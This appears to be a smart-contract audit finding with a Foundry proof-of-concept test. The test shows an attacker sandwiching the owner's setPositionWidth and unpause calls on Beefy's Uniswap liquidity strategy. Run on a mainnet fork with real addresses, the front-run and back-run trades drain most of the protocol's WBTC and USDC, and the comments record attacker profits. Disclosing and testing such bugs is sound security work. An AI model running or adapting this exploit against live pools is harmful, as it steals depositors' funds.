HIGH severity: Attacker can drain protocol tokens by sandwich attacking owner call to `setPositionWidth` and `unpause` to force redeployment of Beefy's liquidity into an unfavorable range. **Description:** When the owner of the `StrategyPassiveManagerUniswap` contract calls `setPositionWidth` and `unpause` an attacker can sandwich attack these calls to drain the protocol's tokens. This is possible because `setPositionWidth` and `unpause` redeploy Beefy's liquidity into a new range...

Vulnerable code:
pragma solidity 0.8.23;

import {Test, console} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin-4/contracts/token/ERC20/ERC20.sol";
import {BeefyVaultConcLiq} from "contracts/protocol/concliq/vault/BeefyVaultConcLiq.sol";
import {BeefyVaultConcLiqFactory} from "contracts/protocol/concliq/vault/BeefyVaultConcLiqFactory.sol";
import {StrategyPassiveManagerUniswap} from "contracts/protocol/concliq/uniswap/StrategyPassiveManagerUniswap.sol";
import {StrategyFactory} from "contracts/protocol/concliq/uniswap/StrategyFactory.sol";
import {StratFeeManagerInitializable} from "contracts/protocol/beefy/StratFeeManagerInitializable.sol";
import {IStrategyConcLiq} from "contracts/interfaces/beefy/IStrategyConcLiq.sol";
import {IUniswapRouterV3} from "contracts/interfaces/exchanges/IUniswapRouterV3.sol";

// Test WBTC/USDC Uniswap Strategy
contract ConLiqWBTCUSDCTest is Test {
    BeefyVaultConcLiq vault;
    BeefyVaultConcLiqFactory vaultFactory;
    StrategyPassiveManagerUniswap strategy;
    StrategyPassiveManagerUniswap implementation;
    StrategyFactory factory;
    address constant pool = 0x9a772018FbD77fcD2d25657e5C547BAfF3Fd7D16;
    address constant token0 = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
    address constant token1 = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address constant native = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant strategist = 0xb2e4A61D99cA58fB8aaC58Bb2F8A59d63f552fC0;
    address constant beefyFeeRecipient = 0x65f2145693bE3E75B8cfB2E318A3a74D057e6c7B;
    address constant beefyFeeConfig = 0x3d38BA27974410679afF73abD096D7Ba58870EAd;
    address constant unirouter = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    address constant keeper = 0x4fED5491693007f0CD49f4614FFC38Ab6A04B619;
    int24 constant width = 500;
    address constant user     = 0x161D61e30284A33Ab1ed227beDcac6014877B3DE;
    address constant attacker = address(0x1337);
    bytes tradePath1;
    bytes tradePath2;
    bytes path0;
    bytes path1;

    function setUp() public {
        BeefyVaultConcLiq vaultImplementation = new BeefyVaultConcLiq();
        vaultFactory = new BeefyVaultConcLiqFactory(address(vaultImplementation));
        vault = vaultFactory.cloneVault();
        implementation = new StrategyPassiveManagerUniswap();
        factory = new StrategyFactory(keeper);

        address[] memory lpToken0ToNative = new address[](2);
        lpToken0ToNative[0] = token0;
        lpToken0ToNative[1] = native;

        address[] memory lpToken1ToNative = new address[](2);
        lpToken1ToNative[0] = token1;
        lpToken1ToNative[1] = native;

        uint24[] memory fees = new uint24[](1);
        fees[0] = 500;

        path0 = routeToPath(lpToken0ToNative, fees);
        path1 = routeToPath(lpToken1ToNative, fees);

        address[] memory tradeRoute1 = new address[](2);
        tradeRoute1[0] = token0;
        tradeRoute1[1] = token1;

        address[] memory tradeRoute2 = new address[](2);
        tradeRoute2[0] = token1;
        tradeRoute2[1] = token0;

        tradePath1 = routeToPath(tradeRoute1, fees);
        tradePath2 = routeToPath(tradeRoute2, fees);

        StratFeeManagerInitializable.CommonAddresses memory commonAddresses = StratFeeManagerInitializable.CommonAddresses(
            address(vault),
            unirouter,
            keeper,
            strategist,
            beefyFeeRecipient,
            beefyFeeConfig
        );

        factory.addStrategy("StrategyPassiveManagerUniswap_v1", address(implementation));

        address _strategy = factory.createStrategy("StrategyPassiveManagerUniswap_v1");
        strategy = StrategyPassiveManagerUniswap(_strategy);
        strategy.initialize(
            pool,
            native,
            width,
            path0,
            path1,
            commonAddresses
        );

        vault.initialize(address(strategy), "Moo Vault", "mooVault");
    }

    // run with:
    // forge test --match-path test/forge/ConcLiqTests/ConcLiqWBTCUSDC.t.sol --fork-url https://rpc.ankr.com/eth --fork-block-number 19410822 -vvv
    function test_AttackerDrainsProtocolViaSetPositionWidth() public {
        // user deposits and beefy sets up its LP position
        uint256 BEEFY_INIT_WBTC = 10e8;
        uint256 BEEFY_INIT_USDC = 600000e6;
        deposit(user, true, BEEFY_INIT_WBTC, BEEFY_INIT_USDC);

        (uint256 beefyBeforeWBTCBal, uint256 beefyBeforeUSDCBal) = strategy.balances();

        // record beefy WBTC & USDC amounts before attack
        console.log("%s : %d", "LP WBTC Before Attack", beefyBeforeWBTCBal); // 999999998
        console.log("%s : %d", "LP USDC Before Attack", beefyBeforeUSDCBal); // 599999999999
        console.log();

        // attacker front-runs owner call to `setPositionWidth` using
        // a large amount of USDC to buy all the WBTC. This:
        // 1) results in Beefy LP having 0 WBTC and lots of USDC
        // 2) massively pushes up the price of WBTC
        //
        // Attacker has forced Beefy to sell WBTC "low"
        uint256 ATTACKER_USDC = 100000000e6;
        trade(attacker, true, false, ATTACKER_USDC);

        // owner calls `StrategyPassiveManagerUniswap::setPositionWidth`
        // This is the transaction that the attacker sandwiches. The reason is that
        // `setPositionWidth` makes Beefy change its LP position. This will
        // cause Beefy to deploy its USDC at the now much higher price range
        strategy.setPositionWidth(width);

        // attacker back-runs the sandwiched transaction to sell their WBTC
        // to Beefy who has deployed their USDC at the inflated price range,
        // and also sells the rest of their WBTC position to the remaining LPs
        // unwinding the front-run transaction
        //
        // Attacker has forced Beefy to buy WBTC "high"
        trade(attacker, false, true, IERC20(token0).balanceOf(attacker));

        // record beefy WBTC & USDC amounts after attack
        (uint256 beefyAfterWBTCBal, uint256 beefyAfterUSDCBal) = strategy.balances();

        // beefy has been almost completely drained of WBTC & USDC
        console.log("%s  : %d", "LP WBTC After Attack", beefyAfterWBTCBal); // 2
        console.log("%s  : %d", "LP USDC After Attack", beefyAfterUSDCBal); // 0
        console.log();

        uint256 attackerUsdcBal = IERC20(token1).balanceOf(attacker);
        console.log("%s  : %d", "Attacker USDC profit", attackerUsdcBal-ATTACKER_USDC);

        // attacker original USDC: 100000000 000000
        // attacker now      USDC: 101244330 209974
        // attacker profit = $1,244,330 USDC
    }

    function test_AttackerDrainsProtocolViaUnpause() public {
        // user deposits and beefy sets up its LP position
        uint256 BEEFY_INIT_WBTC = 0;
        uint256 BEEFY_INIT_USDC = 600000e6;
        deposit(user, true, BEEFY_INIT_WBTC, BEEFY_INIT_USDC);

        // owner pauses contract
        strategy.panic(0, 0);

        (uint256 beefyBeforeWBTCBal, uint256 beefyBeforeUSDCBal) = strategy.balances();

        // record beefy WBTC & USDC amounts before attack
        console.log("%s : %d", "LP WBTC Before Attack", beefyBeforeWBTCBal); // 0
        console.log("%s : %d", "LP USDC Before Attack", beefyBeforeUSDCBal); // 599999999999
        console.log();

        // owner decides to unpause contract
        //
        // attacker front-runs owner call to `unpause` using
        // a large amount of USDC to buy all the WBTC. This:
        // massively pushes up the price of WBTC
        uint256 ATTACKER_USDC = 100000000e6;
        trade(attacker, true, false, ATTACKER_USDC);

        // owner calls `StrategyPassiveManagerUniswap::unpause`
        // This is the transaction that the attacker sandwiches. The reason is that
        // `unpause` makes Beefy change its LP position. This will
        // cause Beefy to deploy its USDC at the now much higher price range
        strategy.unpause();

        // attacker back-runs the sandwiched transaction to sell their WBTC
        // to Beefy who has deployed their USDC at the inflated price range,
        // and also sells the rest of their WBTC position to the remaining LPs
        // unwinding the front-run transaction
        //
        // Attacker has forced Beefy to buy WBTC "high"
        trade(attacker, false, true, IERC20(token0).balanceOf(attacker));

        // record beefy WBTC & USDC amounts after attack
        (uint256 beefyAfterWBTCBal, uint256 beefyAfterUSDCBal) = strategy.balances();

        // beefy has been almost completely drained of USDC
        console.log("%s  : %d", "LP WBTC After Attack", beefyAfterWBTCBal); // 0
        console.log("%s  : %d", "LP USDC After Attack", beefyAfterUSDCBal); // 126790
        console.log();

        uint256 attackerUsdcBal = IERC20(token1).balanceOf(attacker);
        console.log("%s  : %d", "Attacker USDC profit", attackerUsdcBal-ATTACKER_USDC);
        // attacker profit = $548,527 USDC
    }

    // handlers
    function deposit(address depositor, bool dealTokens, uint256 token0Amount, uint256 token1Amount) public {
        vm.startPrank(depositor);

        if(dealTokens) {
            deal(address(token0), depositor, token0Amount);
            deal(address(token1), depositor, token1Amount);
        }

        IERC20(token0).approve(address(vault), token0Amount);
        IERC20(token1).approve(address(vault), token1Amount);

        uint256 _shares = vault.previewDeposit(token0Amount, token1Amount);

        vault.depositAll(_shares);

        vm.stopPrank();
    }

    function trade(address trader, bool dealTokens, bool tokenInd, uint256 tokenAmount) public {
        vm.startPrank(trader);

        if(tokenInd) {
            if(dealTokens) deal(address(token0), trader, tokenAmount);

            IERC20(token0).approve(address(unirouter), tokenAmount);

            IUniswapRouterV3.ExactInputParams memory params = IUniswapRouterV3.ExactInputParams({
                path: tradePath1,
                recipient: trader,
                deadline: block.timestamp,
                amountIn: tokenAmount,
                amountOutMinimum: 0
            });
            IUniswapRouterV3(unirouter).exactInput(params);
        }
        else {
            if(dealTokens) deal(address(token1), trader, tokenAmount);

            IERC20(token1).approve(address(unirouter), tokenAmount);

            IUniswapRouterV3.ExactInputParams memory params = IUniswapRouterV3.ExactInputParams({
                path: tradePath2,
                recipient: trader,
                deadline: block.timestamp,
                amountIn: tokenAmount,
                amountOutMinimum: 0
            });
            IUniswapRouterV3(unirouter).exactInput(params);
        }

        vm.stopPrank();
    }

    // Convert token route to encoded path
    // uint24 type for fees so path is packed tightly
    function routeToPath(
        address[] memory _route,
        uint24[] memory _fee
    ) internal pure returns (bytes memory path) {
        path = abi.encodePacked(_route[0]);
        uint256 feeLength = _fee.length;
        for (uint256 i = 0; i < feeLength; i++) {
            path = abi.encodePacked(path, _fee[i], _route[i+1]);
        }
    }
}